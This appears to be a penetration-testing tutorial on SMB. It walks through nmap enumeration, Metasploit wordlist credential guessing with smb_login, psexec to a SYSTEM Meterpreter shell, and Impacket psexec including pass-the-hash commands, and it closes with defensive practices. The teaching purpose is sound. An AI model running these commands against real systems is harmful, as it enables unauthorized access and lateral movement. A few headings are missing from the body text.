Overview¶

Server Message Block (SMB) is a network protocol used for sharing files, printers, and other resources between computers on a network. It is one of the most common protocols in Windows environments and is heavily used in Active Directory infrastructures.

SMB operates primarily over TCP port 445
Older implementations used NetBIOS over TCP (Port 139)
Samba is the Linux implementation of the SMB protocol
SMB supports authentication before allowing access to shared resources

SMB Authentication¶

SMB supports two primary authentication methods.

1. User Authentication¶

A user authenticates using a username and password before accessing any shared resources.

Example:

Username: Administrator
Password: ********

Once authenticated, the user receives permissions based on their account privileges.

Instead of authenticating as a specific user, access is granted by providing the password assigned to the shared resource.

Although this method existed in older implementations, modern Windows environments primarily use User Authentication.

SMB Challenge-Response Authentication¶

SMB does not transmit plaintext passwords across the network.

Instead, Windows uses a challenge-response authentication mechanism.

Authentication Flow¶

Client                         Server
  |                               |
  |--- Authentication Request --->|
  |                               |
  |<----- Random Challenge -------|
  |                               |
  | Encrypt Challenge using       |
  | Password Hash                 |
  |                               |
  |---- Encrypted Response ------>|
  |                               |
  |<------ Access Granted --------|

Advantages¶

Passwords are never transmitted directly.
Prevents password disclosure during authentication.
Supports NTLM and Kerberos authentication methods.

SMB Enumeration¶

During a penetration test, SMB is usually one of the first services examined.

Nmap Scan¶

nmap -sV -sC <TARGET_IP>

Example output

135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
3389/tcp open ms-wbt-server

Additional information may reveal:

SMB Signing: Enabled but not required

This information helps determine whether further SMB testing is possible.

What is PsExec?¶

PsExec is a Microsoft administrative tool that allows administrators to execute commands remotely on Windows systems.

Unlike Remote Desktop, PsExec provides a command-line interface instead of a graphical desktop.

It works over SMB and requires valid credentials.

How PsExec Works¶

Attacker
    |
    | SMB Authentication
    |
    v
Windows Host
    |
    | Upload temporary service
    |
    v
Service starts
    |
    v
Remote Command Execution

After successful authentication, PsExec uploads a temporary executable, creates a Windows service, starts it, and provides a remote command shell.

PsExec Requirements¶

To successfully use PsExec, the following are generally required:

SMB service available (Port 445)
Valid username and password (or NTLM hash)
Administrative privileges
Firewall allowing SMB communication

Credential Validation¶

Before attempting remote administration, credentials should first be verified.

One common approach is testing authentication against SMB.

Example:

Administrator
Password: ********

If authentication succeeds, the credentials can later be used with tools such as PsExec.

Practical Demonstration Using Metasploit¶

Attack Workflow¶

Target Discovery
       │
       ▼
SMB Enumeration
       │
       ▼
Credential Validation
(auxiliary/scanner/smb/smb_login)
       │
       ▼
Valid Credentials
       │
       ▼
Authenticated PsExec
(exploit/windows/smb/psexec)
       │
       ▼
Remote Administration
       │
       ▼
Privilege Verification

Step 1 – Discover SMB Service¶

Identify whether SMB is exposed on the target.

nmap -sV -sC <TARGET_IP>

Example

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
3389/tcp open  ms-wbt-server

Additional information may include

SMB Signing: Enabled but not required

Step 2 – Start Metasploit¶

Launch the Metasploit Framework.

sudo systemctl start postgresql
msfconsole

Locate the SMB authentication module.

search smb_login

Output

auxiliary/scanner/smb/smb_login

Load the module.

use auxiliary/scanner/smb/smb_login

Display available options.

show options

Step 4 – Configure Credential Validation¶

Specify the target.

set RHOSTS <TARGET_IP>

Specify a username wordlist.

set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt

Specify a password wordlist.

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

Optional settings

set THREADS 10
set STOP_ON_SUCCESS true
set VERBOSE false

Verify the configuration.

show options

Step 5 – Validate Credentials¶

Execute the module.

run

Possible results

Failed authentication

STATUS_LOGON_FAILURE

Successful authentication

SUCCESSFUL LOGIN

Username: Administrator
Password: ********

A successful result confirms that the supplied credentials are valid.

Why Perform Credential Validation?¶

Credential validation helps to

Verify that the username exists.
Confirm the password is correct.
Avoid unnecessary authentication failures.
Reduce excessive login attempts.
Confirm whether authenticated SMB access is possible.

Step 6 – Search for PsExec Module¶

Search available PsExec modules.

search psexec

Example output

exploit/windows/smb/psexec
auxiliary/admin/smb/psexec_command

Load the PsExec module.

use exploit/windows/smb/psexec

Display module options.

show options

Step 7 – Configure PsExec¶

Configure the authenticated user.

set RHOSTS <TARGET_IP>
set SMBUser Administrator
set SMBPass <PASSWORD>

Review the configuration.

show options

Step 8 – Execute PsExec¶

Run the module.

exploit

Typical output

Connecting...
Authenticating...
Selecting PowerShell target...
Uploading service...
Creating service...
Starting service...
Meterpreter session opened

Step 9 – Verify Privileges¶

Retrieve system information.

sysinfo

Example

Computer : WIN-SERVER
OS : Windows Server 2016
Architecture : x64

Determine the current user.

getuid

Example

Server username:
NT AUTHORITY\SYSTEM

Metasploit SMB Modules¶

Module	Purpose
`auxiliary/scanner/smb/smb_version`	Detect SMB version and operating system
`auxiliary/scanner/smb/smb_enumshares`	Enumerate SMB shares
`auxiliary/scanner/smb/smb_enumusers`	Enumerate users (where supported)
`auxiliary/scanner/smb/smb_login`	Validate SMB credentials
`auxiliary/admin/smb/psexec_command`	Execute a command using valid credentials
`exploit/windows/smb/psexec`	Authenticate with valid administrator credentials and obtain remote command execution

End-to-End Workflow¶

Nmap Scan
     │
     ▼
Port 445 Open
     │
     ▼
SMB Enumeration
     │
     ▼
Credential Validation
(smb_login)
     │
     ▼
Administrator Credentials Confirmed
     │
     ▼
PsExec Authentication
     │
     ▼
Remote Command Execution
     │
     ▼
Privilege Verification

Remote Execution Process¶

Authenticate
      │
      ▼
Connect to ADMIN$
      │
      ▼
Upload Service
      │
      ▼
Create Windows Service
      │
      ▼
Start Service
      │
      ▼
Interactive Remote Shell

Typical Successful Session¶

A successful authenticated session generally performs the following actions:

Authenticating...
Connecting to ADMIN$
Uploading temporary executable
Creating service
Starting service
Opening remote shell

At this point, remote command execution becomes available with the permissions of the authenticated user.

Verifying Access¶

After obtaining a remote shell, it is common to verify the identity and privileges of the current user.

Typical information checked includes:

Operating System
Computer Name
Architecture
Logged-in User
Privilege Level

Example:

User: NT AUTHORITY\SYSTEM
Architecture: x64
Operating System: Windows Server

Common SMB Security Issues¶

Issue	Description
Weak Passwords	Easy-to-guess passwords increase the risk of credential compromise.
Password Reuse	Reusing passwords across systems can allow lateral movement.
Excessive Administrative Privileges	Too many users with local administrator rights increase impact if compromised.
SMBv1 Enabled	Legacy SMB versions contain known security vulnerabilities.
Disabled SMB Signing	Can expose systems to relay attacks.
Exposed Administrative Shares	ADMIN$, C$, and IPC$ should be restricted where possible.

Key Takeaways¶

SMB commonly operates on TCP port 445.
Enumerating SMB is one of the first steps during a Windows penetration test.
The auxiliary/scanner/smb/smb_login module is commonly used to verify whether supplied credentials are valid.
Valid administrative credentials can then be used with the exploit/windows/smb/psexec module to demonstrate authenticated remote administration in an authorized environment.
The success of authenticated remote administration highlights the importance of strong passwords, least privilege, SMB hardening, and continuous monitoring.

Authentication with Impacket PsExec¶

Impacket provides a Python implementation of Microsoft's PsExec functionality. It allows administrators and authorized penetration testers to execute commands remotely over SMB using valid credentials.

Unlike the Metasploit psexec module, psexec.py is a standalone command-line utility included with the Impacket toolkit.

Verify Installation¶

Check that Impacket is installed.

impacket-psexec -h

or on older versions

psexec.py -h

Using Username and Password¶

Basic syntax

impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET_IP> <COMMAND>

Example

impacket-psexec WORKGROUP/Administrator:Password123@192.168.1.20 cmd.exe

or

psexec.py WORKGROUP/Administrator:Password123@192.168.1.20 cmd.exe

After successful authentication, an interactive command shell is provided.

Example

Microsoft Windows [Version 10.0.xxxxx]

C:\Windows\System32>

Using Local Administrator Account¶

If the target is not joined to a domain:

impacket-psexec ./Administrator:Password123@192.168.1.20

The ./ indicates the local machine rather than a domain.

Using NTLM Hashes (Pass-the-Hash)¶

If NTLM hashes are available during an authorized assessment, Impacket supports Pass-the-Hash authentication.

Syntax

impacket-psexec -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME>@<TARGET_IP>

Example

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:<NT_HASH> WORKGROUP/Administrator@192.168.1.20

Verifying Access¶

Once authenticated, verify the security context.

whoami

Example

nt authority\system

Gather system information.

hostname
systeminfo

How Impacket PsExec Works¶

Client
   │
   ▼
Authenticate over SMB
   │
   ▼
Connect to ADMIN$ Share
   │
   ▼
Upload Temporary Service Binary
   │
   ▼
Create Windows Service
   │
   ▼
Start Service
   │
   ▼
Interactive Command Shell

Metasploit vs Impacket PsExec¶

Feature	Metasploit PsExec	Impacket PsExec
Interface	Metasploit Framework	Standalone CLI
Authentication	Username/Password, NTLM Hash	Username/Password, NTLM Hash
Remote Shell	Meterpreter or Command Shell	Windows Command Shell
Best Use	Full exploitation framework and post-exploitation modules	Lightweight authenticated remote administration

Defensive Best Practices¶

Disable SMBv1.
Enforce SMB signing where appropriate.
Use strong password policies.
Implement account lockout policies.
Enable Multi-Factor Authentication where supported.
Restrict administrative shares.
Monitor Windows Event Logs for failed SMB logins.
Monitor authentication attempts for brute-force activity.
Use least-privilege administration.
Segment sensitive systems from user networks.

Summary¶

SMB is one of the most important services in Windows environments because it provides file sharing and remote administration capabilities. Authentication is based on a challenge-response mechanism that protects passwords from being transmitted in plaintext.

PsExec is a legitimate Windows administrative utility that leverages SMB authentication to execute commands remotely. In authorized security assessments, authenticated access can be used to validate administrative permissions, verify remote management capabilities, and demonstrate the impact of compromised credentials. Proper hardening of SMB, strong credential policies, and continuous monitoring are essential to reduce the risk of unauthorized access and lateral movement.

Both the Metasploit exploit/windows/smb/psexec module and Impacket's psexec.py (or impacket-psexec) rely on valid SMB authentication to perform remote administration. In authorized penetration tests, they are commonly used to demonstrate the security impact of compromised administrative credentials and to validate remote management exposure.

Overview¶

SMB Authentication¶

1. User Authentication¶

2. Share Authentication¶

SMB Challenge-Response Authentication¶

Authentication Flow¶

Advantages¶

SMB Enumeration¶

Nmap Scan¶

What is PsExec?¶

How PsExec Works¶

PsExec Requirements¶

Credential Validation¶

Practical Demonstration Using Metasploit¶

Attack Workflow¶

Step 1 – Discover SMB Service¶

Step 2 – Start Metasploit¶

Step 3 – Search for SMB Login Module¶

Step 4 – Configure Credential Validation¶

Step 5 – Validate Credentials¶

Why Perform Credential Validation?¶

Step 6 – Search for PsExec Module¶

Step 7 – Configure PsExec¶

Step 8 – Execute PsExec¶

Step 9 – Verify Privileges¶

Metasploit SMB Modules¶

End-to-End Workflow¶

Remote Execution Process¶

Typical Successful Session¶

Verifying Access¶

Common SMB Security Issues¶

Key Takeaways¶

Authentication with Impacket PsExec¶

Verify Installation¶

Using Username and Password¶

Using Local Administrator Account¶

Using NTLM Hashes (Pass-the-Hash)¶

Verifying Access¶

How Impacket PsExec Works¶

Metasploit vs Impacket PsExec¶

Defensive Best Practices¶

Summary¶